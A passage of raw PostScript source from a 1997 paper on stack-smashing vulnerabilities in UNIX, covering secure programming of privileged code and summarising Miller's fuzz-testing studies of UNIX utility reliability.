4044 M (non)S -0.300 0 (-)A (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 24.000 0 32 (d )W -0.400 0 (c)A (od)S 24.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (h)S -0.400 0 (a)A -0.300 0 (r)A 24.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 24.400 0 32 -0.400 0 (e )D (b)S -0.400 0 (e)A (n)S -0.400 0 (e)A -0.300 0 (f)A 0.200 0 (it)A 0.100 0 (s)A 24.000 0 32 (. )W 0.300 0 (R)A -0.400 0 (eca)A 0.200 0 (lli)A (n)S 26.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 25.400 0 32 -0.400 0 (e ea)D 0.100 0 (s)A 25.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 25.000 0 32 (n )W -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A 25.000 0 32 (h p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 25.000 0 32 (d p)W -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4221 M -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 17.000 0 32 (on )W -0.400 0 (ca)A 17.000 0 32 (n b)W 17.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A (n)S 0.100 0 (s)A -0.300 0 (f)A -0.400 0 (e)A -0.300 0 (rr)A -0.400 0 (e)A 17.000 0 32 (d, )W 16.800 0 32 0.200 0 (it i)D 16.900 0 32 0.100 0 (s )D 0.200 0 (im)A (po)S -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (a)A (n)S 16.800 0 32 0.200 0 (t t)D 17.000 0 32 (o no)W 0.200 0 (t)A 18.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 17.800 0 32 0.200 0 (t )D (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 18.000 0 32 (d )W -0.400 0 (c)A (od)S 18.400 0 32 -0.400 0 (e )D (o)S -0.300 0 (f)A 0.200 0 (t)A -0.400 0 (e)A 18.000 0 32 (n )W 0.200 0 (t)A -0.300 0 (r)A (u)S 0.100 0 (s)A 0.200 0 (t)A 17.900 0 32 0.100 0 (s )D (non)S -0.300 0 (-)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4398 M (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 23.000 0 32 (d )W -0.400 0 (c)A (od)S -0.400 0 (e)A 23.000 0 32 (. )W 24.000 0 32 ( )W 0.400 0 (P)A -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 24.000 0 32 (d p)W -0.300 0 (r)A (o)S -0.400 0 (ce)A 0.100 0 (ss)A -0.400 0 (e)A 23.900 0 32 0.100 0 (s )D 0.200 0 (m)A -0.400 0 (a)A 27.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 0.100 0 (ss)A (u)S 0.200 0 (m)A 24.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 23.800 0 32 0.200 0 (t )D -0.400 0 (a)A 23.800 0 32 0.200 0 (ll )D (b)S 0.200 0 (i)A (n)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.100 0 (s)A 24.000 0 32 (, p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 24.000 0 32 (d )W -0.400 0 (a)A 24.000 0 32 (nd non)W -0.300 0 (-)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4575 M (p)S -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A -0.400 0 (e)A 20.000 0 32 (d, )W -0.400 0 (a)A -0.300 0 (r)A 20.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 20.000 0 32 (o b)W 20.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.300 0 (r)A (u)S 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 20.000 0 32 (d. )W -0.700 0 (B)A 23.000 0 32 -3.000 0 (y )D (u)S 0.100 0 (s)A 0.200 0 (i)A (n)S 21.000 0 32 -1.000 0 (g )D 0.200 0 (m)A (o)S -0.300 0 (r)A 20.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 20.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 21.000 0 32 -1.000 0 (g )D (p)S -0.300 0 (r)A -0.400 0 (ac)A 0.200 0 (ti)A -0.400 0 (ce)A 19.900 0 32 0.100 0 (s )D 20.000 0 32 (on )W -0.400 0 (a)A 19.800 0 32 0.200 0 (ll )D -0.200 0 (UN)A -2.300 0 (I)A -0.200 0 (X)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4752 M 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 12.800 0 32 0.200 0 (m )D -0.400 0 (c)A (od)S -0.400 0 (e)A 13.000 0 32 (, )W -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 16.000 0 32 -3.000 0 (y )D 0.100 0 (s)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (m)A -0.400 0 (e)A (n)S 12.800 0 32 0.200 0 (t )D (o)S 13.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e c)D (od)S 13.400 0 32 -0.400 0 (e )D (b)S -0.400 0 (a)A 0.100 0 (s)A 13.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 12.900 0 32 0.100 0 (s s)D 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (e)A (n)S -1.000 0 (g)A 0.200 0 (t)A (h)S -0.400 0 (e)A (n)S -0.400 0 (e)A 13.000 0 32 (d. )W 0.400 0 (S)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 17.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 14.000 0 32 (nd )W -0.300 0 (r)A (obu)S 0.100 0 (s)A 0.200 0 (t)A (n)S -0.400 0 (e)A 13.900 0 32 0.100 0 (ss )D (bo)S 0.200 0 (t)A (h)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4929 M 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S 15.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 0.200 0 (i)A (nk)S 0.200 0 (i)A (n)S 16.000 0 32 -1.000 0 (g )D -0.400 0 (a)A (bou)S 14.800 0 32 0.200 0 (t t)D (h)S 15.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (a)A (n)S -1.000 0 (g)A -0.400 0 (e)A 14.900 0 32 0.100 0 (s )D (o)S 15.300 0 32 -0.300 0 (f )D -0.400 0 (a)A 0.200 0 (ll)A (o)S -0.200 0 (w)A -0.400 0 (a)A (b)S 0.200 0 (l)A 15.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (npu)S 0.200 0 (t)A 14.900 0 32 0.100 0 (s )D -0.400 0 (a)A 15.000 0 32 (nd )W -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A (pon)S 0.100 0 (s)A -0.400 0 (e)A 0.100 0 (s)A 15.000 0 32 (, )W -0.400 0 (a)A 15.000 0 32 (nd )W 0.200 0 (limiti)A (n)S 16.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S -0.400 0 (e)A 15.800 0 32 0.200 0 (m )D 0.100 0 (s)A (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5106 M -0.097 0 (undesirable responses are not produced.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 5283 M -2.300 0 (I)A 16.000 0 32 (n )W 17.400 0 32 -0.400 0 (a )D -0.300 0 (r)A -0.400 0 (ece)A (n)S 16.800 0 32 0.200 0 (t )D 0.100 0 (s)A 0.200 0 (t)A (ud)S 20.000 0 32 -3.000 0 (y )D (b)S 20.000 0 32 -3.000 0 (y )D 17.400 0 32 -0.400 0 (a )D -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (ea)A -0.300 0 (r)A -0.400 0 (c)A 17.000 0 32 (h )W 0.200 0 (t)A -0.400 0 (ea)A 16.800 0 32 0.200 0 (m l)D -0.400 0 (ea)A 17.000 0 32 (d b)W 20.000 0 32 -3.000 0 (y )D -0.700 0 (B)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (t)A 17.000 0 32 (on )W 0.400 0 (P)A 17.000 0 32 (. )W 0.100 0 (M)A 0.200 0 (ill)A -0.400 0 (e)A 17.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 16.800 0 32 0.200 0 (t t)D (h)S 17.400 0 32 -0.400 0 (e )D -0.200 0 (U)A (n)S 0.200 0 (i)A (v)S -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 0.200 0 (it)A 20.000 0 32 -3.000 0 (y )D (o)S -0.300 0 (f)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5460 M 0.600 0 (W)A 0.200 0 (i)A 0.100 0 (s)A -0.400 0 (c)A (on)S 0.100 0 (s)A 0.200 0 (i)A (n)S -0.300 0 (-)A 0.100 0 (M)A -0.400 0 (a)A (d)S 0.200 0 (i)A 0.100 0 (s)A 13.000 0 32 (on )W -0.400 0 (e)A (n)S 0.200 0 (titl)A -0.400 0 (e)A 13.000 0 32 (d )W ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F5) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F5_100) cvn F5 100 xF F5_100 Ji 1794 5460 M -0.100 0 (A)A 13.000 0 32 (n )W -0.100 0 (E)A -0.200 0 (m)A (p)S 0.200 0 (i)A 0.100 0 (r)A 0.200 0 (i)A -0.400 0 (c)A (a)S 12.800 0 32 0.200 0 (l )D (S)S 0.200 0 (t)A (ud)S 13.400 0 32 -0.400 0 (y )D 0.200 0 (i)A 14.000 0 32 (n )W 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e )D -0.100 0 (R)A -0.400 0 (e)A 0.200 0 (li)A (ab)S 0.200 0 (ilit)A 14.400 0 32 -0.400 0 (y )D (o)S 13.800 0 32 0.200 0 (f )D -0.200 0 (U)A 0.300 0 (N)A -0.300 0 (I)A 14.100 0 32 -0.100 0 (X )D -0.200 0 (U)A 0.200 0 (tiliti)A -0.400 0 (e)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 4087 5460 M 14.000 0 32 ( )W -0.300 0 (\()A (1989)S -0.300 0 (\))A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5637 M -0.400 0 (a)A 11.000 0 32 (nd )W 0.200 0 (it)A 10.900 0 32 0.100 0 (s s)D (u)S -0.400 0 (cce)A 0.100 0 (ss)A (o)S 11.300 0 32 -0.300 0 (r )D ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 1341 5637 M -0.100 0 (F)A (u)S 10.900 0 32 0.100 0 (zz )D -0.100 0 (R)A -0.400 0 (ev)A 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (it)A -0.400 0 (e)A (d)S 12.300 0 32 -0.300 0 (: )D 12.100 0 32 -0.100 0 (A R)D -0.400 0 (e)A -0.300 0 (-)A -0.400 0 (ex)A (a)S -0.200 0 (m)A 0.200 0 (i)A (na)S 0.200 0 (ti)A 12.000 0 32 (on o)W 11.800 0 32 0.200 0 (f t)D (h)S 12.400 0 32 -0.400 0 (e )D -0.100 0 (R)A -0.400 0 (e)A 0.200 0 (li)A (ab)S 0.200 0 (ilit)A 12.400 0 32 -0.400 0 (y )D (o)S 11.800 0 32 0.200 0 (f )D -0.200 0 (U)A 0.300 0 (N)A -0.300 0 (I)A 12.100 0 32 -0.100 0 (X )D -0.200 0 (U)A 0.200 0 (tiliti)A -0.400 0 (e)A 11.900 0 32 0.100 0 (s )D (and)S ; LH savelevel1 restore pagesave restore (%%[ Page: 23 ]%%) = %%PageTrailer %%Page: 24 24 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (24)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F4) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F4_100) cvn F4 100 xF F4_100 Ji 612 504 M (S)S -0.400 0 (e)A 0.100 0 (r)A -0.400 0 (v)A 0.200 0 (i)A -0.400 0 (ce)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 944 504 M 21.000 0 32 ( )W -0.300 0 (\()A (1995)S -0.300 0 (\))A 22.000 0 32 (, )W 0.200 0 (t)A (h)S 22.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A 25.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 22.000 0 32 (nd )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (li)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A 25.000 0 32 -3.000 0 (y )D (o)S 22.300 0 32 -0.300 0 (f )D 22.400 0 32 -0.400 0 (a )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 22.300 0 32 -0.300 0 (r )D (o)S 22.300 0 32 -0.300 0 (f )D -0.200 0 (UN)A -2.300 0 (I)A 22.200 0 32 -0.200 0 (X )D 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 21.900 0 32 0.100 0 (s )D -0.200 0 (w)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 23.000 0 32 (d. )W 0.600 0 (W)A (h)S 0.200 0 (il)A 23.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 0.200 0 (i)A 22.900 0 32 0.100 0 (s s)D 0.200 0 (t)A (ud)S 26.000 0 32 -3.000 0 (y )D (do)S -0.400 0 (e)A 22.900 0 32 0.100 0 (s )D (no)S 22.800 0 32 0.200 0 (t )D -0.300 0 (f)A (o)S -0.400 0 (c)A (u)S 22.900 0 32 0.100 0 (s )D 23.000 0 32 (on bu)W -0.300 0 (ff)A -0.400 0 (e)A 23.300 0 32 -0.300 0 (r )D (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S -0.200 0 (w)A 22.900 0 32 0.100 0 (s s)D (p)S -0.400 0 (ec)A 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ca)A 0.200 0 (ll)A -3.000 0 (y)A 24.000 0 32 (, )W 23.800 0 32 0.200 0 (it i)D 23.900 0 32 0.100 0 (s )D (p)S -0.300 0 (r)A 0.200 0 (im)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (il)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 858 M -0.400 0 (c)A (on)S -0.400 0 (ce)A -0.300 0 (r)A (n)S -0.400 0 (e)A 4.000 0 32 (d )W -0.200 0 (w)A 0.200 0 (it)A 4.000 0 32 (h )W 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (li)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A 7.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 4.000 0 32 (nd )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A 7.000 0 32 -3.000 0 (y )D (o)S 4.300 0 32 -0.300 0 (f )D -0.200 0 (UN)A -2.300 0 (I)A 4.200 0 32 -0.200 0 (X )D (u)S 0.200 0 (tiliti)A -0.400 0 (e)A 4.900 0 32 0.100 0 (s )D -0.200 0 (w)A (h)S -0.400 0 (e)A 5.000 0 32 (n )W -0.300 0 (f)A 0.200 0 (l)A (ood)S -0.400 0 (e)A 5.000 0 32 (d )W -0.200 0 (w)A 0.200 0 (it)A 5.000 0 32 (h )W 0.200 0 (i)A (nv)S -0.400 0 (a)A 0.200 0 (li)A 5.000 0 32 (d )W 0.200 0 (i)A (npu)S 0.200 0 (t)A (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1035 M -2.300 0 (I)A 10.000 0 32 (n )W 0.100 0 (M)A 0.200 0 (ill)A -0.400 0 (e)A -0.300 0 (r\222)A 10.900 0 32 0.100 0 (s s)D 0.200 0 (t)A (ud)S -3.000 0 (y)A 11.000 0 32 (, ov)W -0.400 0 (e)A 11.300 0 32 -0.300 0 (r )D 11.000 0 32 (80 d)W 0.200 0 (i)A -0.300 0 (ff)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (e)A (n)S 10.800 0 32 0.200 0 (t )D (u)S 0.200 0 (tilit)A 14.000 0 32 -3.000 0 (y )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 10.900 0 32 0.100 0 (s )D 11.000 0 32 (on n)W 0.200 0 (i)A (n)S 11.400 0 32 -0.400 0 (e )D (d)S 0.200 0 (i)A -0.300 0 (ff)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (e)A (n)S 10.800 0 32 0.200 0 (t )D -0.200 0 (UN)A -2.300 0 (I)A 11.200 0 32 -0.200 0 (X )D (p)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (t)A -0.300 0 (f)A (o)S -0.300 0 (r)A 0.200 0 (m)A 10.900 0 32 0.100 0 (s )D -0.200 0 (w)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1212 M 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 14.000 0 32 (d. )W 0.400 0 (S)A -0.400 0 (e)A (v)S -0.400 0 (e)A 14.000 0 32 (n o)W 14.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 14.400 0 32 -0.400 0 (e )D -0.200 0 (UN)A -2.300 0 (I)A 14.200 0 32 -0.200 0 (X )D (p)S 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (t)A -0.300 0 (f)A (o)S -0.300 0 (r)A 0.200 0 (m)A 13.900 0 32 0.100 0 (s )D (o)S -0.300 0 (r)A 0.200 0 (i)A -1.000 0 (g)A 0.200 0 (i)A (n)S -0.400 0 (a)A 0.200 0 (t)A 15.400 0 32 -0.400 0 (e )D -0.300 0 (fr)A (o)S 14.800 0 32 0.200 0 (m )D -0.400 0 (c)A (o)S 0.200 0 (mm)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (a)A 14.800 0 32 0.200 0 (l )D (v)S -0.400 0 (e)A (ndo)S -0.300 0 (r)A 0.100 0 (s)A 15.000 0 32 (, )W -0.400 0 (a)A 15.000 0 32 (nd )W 0.200 0 (t)A -0.200 0 (w)A 15.000 0 32 (o )W -0.200 0 (w)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1389 M -0.300 0 (fr)A (o)S 5.800 0 32 0.200 0 (m t)D (h)S 6.400 0 32 -0.400 0 (e )D -0.300 0 (\221fr)A -0.400 0 (ee)A 6.300 0 32 -0.300 0 (\222 )D -0.200 0 (UN)A -2.300 0 (I)A 6.200 0 32 -0.200 0 (X )D -0.400 0 (c)A (o)S 0.200 0 (mm)A (un)S 0.200 0 (it)A -3.000 0 (y)A 6.000 0 32 (. )W -2.300 0 (I)A 5.800 0 32 0.200 0 (t i)D 5.900 0 32 0.100 0 (s )D 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (ti)A (n)S 7.000 0 32 -1.000 0 (g )D 0.200 0 (t)A 6.000 0 32 (o no)W 0.200 0 (t)A 6.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 5.800 0 32 0.200 0 (t t)D (h)S 6.400 0 32 -0.400 0 (e a)D (v)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A -1.000 0 (g)A 6.400 0 32 -0.400 0 (e )D -0.300 0 (f)A -0.400 0 (a)A 0.200 0 (il)A (u)S -0.300 0 (r)A 6.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (t)A 6.400 0 32 -0.400 0 (e )D (o)S 7.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1566 M 0.200 0 (t)A (oo)S 0.200 0 (l)A 7.900 0 32 0.100 0 (s )D -0.400 0 (a)A 8.000 0 32 (nd u)W 0.200 0 (tiliti)A -0.400 0 (e)A 7.900 0 32 0.100 0 (s )D -0.400 0 (a)A (v)S -0.400 0 (a)A 0.200 0 (il)A -0.400 0 (a)A (b)S 0.200 0 (l)A 9.400 0 32 -0.400 0 (e )D 9.000 0 32 (on )W 0.200 0 (t)A (h)S 9.400 0 32 -0.400 0 (e c)D (o)S 0.200 0 (mm)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (a)A 8.800 0 32 0.200 0 (l )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 10.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 8.900 0 32 0.100 0 (s )D 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 9.000 0 32 (d )W -0.300 0 (r)A -0.400 0 (a)A (n)S -1.000 0 (g)A -0.400 0 (e)A 9.000 0 32 (d )W -0.300 0 (fr)A (o)S 8.800 0 32 0.200 0 (m )D (18)S 9.300 0 32 -0.300 0 (% )D 0.200 0 (t)A (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1743 M (43)S -0.300 0 (%)A 2.000 0 32 (, )W -0.200 0 (w)A (h)S 0.200 0 (il)A 2.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e a)D (v)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A -1.000 0 (g)A 2.400 0 32 -0.400 0 (e )D -0.300 0 (f)A -0.400 0 (a)A 0.200 0 (il)A (u)S -0.300 0 (r)A 2.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (t)A 2.400 0 32 -0.400 0 (e )D (o)S 2.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 1.000 0 (x)A 0.200 0 (/)A 2.200 0 32 -0.200 0 (GNU )D (u)S 0.200 0 (tiliti)A -0.400 0 (e)A 1.900 0 32 0.100 0 (s )D -0.300 0 (r)A -0.400 0 (a)A (n)S -1.000 0 (g)A -0.400 0 (e)A 2.000 0 32 (d )W -0.300 0 (fr)A (o)S 1.800 0 32 0.200 0 (m )D (6)S 3.300 0 32 -0.300 0 (% )D 0.200 0 (t)A 3.000 0 32 (o 9)W -0.300 0 (%)A 3.000 0 32 (. )W -2.300 0 (I)A 3.000 0 32 (n )W 0.200 0 (t)A (h)S 0.200 0 (i)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1920 M 0.100 0 (s)A 0.200 0 (t)A (ud)S -3.000 0 (y)A (, )S -0.300 0 (f)A -0.400 0 (a)A 0.200 0 (il)A (u)S -0.300 0 (r)A 0.400 0 32 -0.400 0 (e )D -0.200 0 (w)A -0.400 0 (a)A 0.900 0 32 0.100 0 (s )D (d)S -0.400 0 (e)A -0.300 0 (f)A 0.200 0 (i)A (n)S -0.400 0 (e)A 1.000 0 32 (d )W -0.400 0 (a)A 0.900 0 32 0.100 0 (s )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 0.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 0.800 0 32 0.200 0 (t )D -0.400 0 (c)A -0.300 0 (r)A -0.400 0 (a)A 0.100 0 (s)A (h)S -0.400 0 (e)A 1.000 0 32 (d )W -0.200 0 (w)A 0.200 0 (it)A 1.000 0 32 (h )W 1.400 0 32 -0.400 0 (a c)D (o)S -0.300 0 (r)A 1.400 0 32 -0.400 0 (e )D (du)S 0.200 0 (m)A 1.000 0 32 (p o)W 1.300 0 32 -0.300 0 (r )D (hun)S -1.000 0 (g)A 1.000 0 32 (, )W -0.200 0 (w)A (h)S -0.400 0 (e)A 1.000 0 32 (n p)W -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (e)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2097 M -0.200 0 (w)A 0.200 0 (it)A 16.000 0 32 (h )W 0.200 0 (i)A (nv)S -0.400 0 (a)A 0.200 0 (li)A 16.000 0 32 (d d)W -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (a)A 16.000 0 32 (. )W 0.600 0 (W)A (h)S 0.200 0 (il)A 16.400 0 32 -0.400 0 (e )D (on)S 0.200 0 (l)A 19.000 0 32 -3.000 0 (y )D 0.100 0 (s)A (o)S 0.200 0 (m)A 17.400 0 32 -0.400 0 (e )D (o)S 17.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 17.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 16.900 0 32 0.100 0 (s )D 0.200 0 (t)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 17.000 0 32 (d )W 0.200 0 (i)A 17.000 0 32 (n )W 0.200 0 (t)A (h)S 0.200 0 (i)A 16.900 0 32 0.100 0 (s s)D 0.200 0 (t)A (ud)S 20.000 0 32 -3.000 0 (y )D -0.200 0 (w)A -0.400 0 (e)A -0.300 0 (r)A 17.400 0 32 -0.400 0 (e )D 0.400 0 (S)A -0.200 0 (U)A -2.300 0 (I)A 17.200 0 32 -0.200 0 (D )D -0.300 0 (r)A (oo)S 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2274 M (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 0.100 0 (s)A 30.000 0 32 (, )W 0.200 0 (m)A -0.400 0 (a)A (n)S 33.000 0 32 -3.000 0 (y )D (o)S 31.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 31.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (m)A 30.900 0 32 0.100 0 (s )D -0.200 0 (w)A -0.400 0 (e)A -0.300 0 (r)A 31.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.300 0 (r)A (u)S 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 31.000 0 32 (d b)W 34.000 0 32 -3.000 0 (y )D 0.400 0 (S)A -0.200 0 (U)A -2.300 0 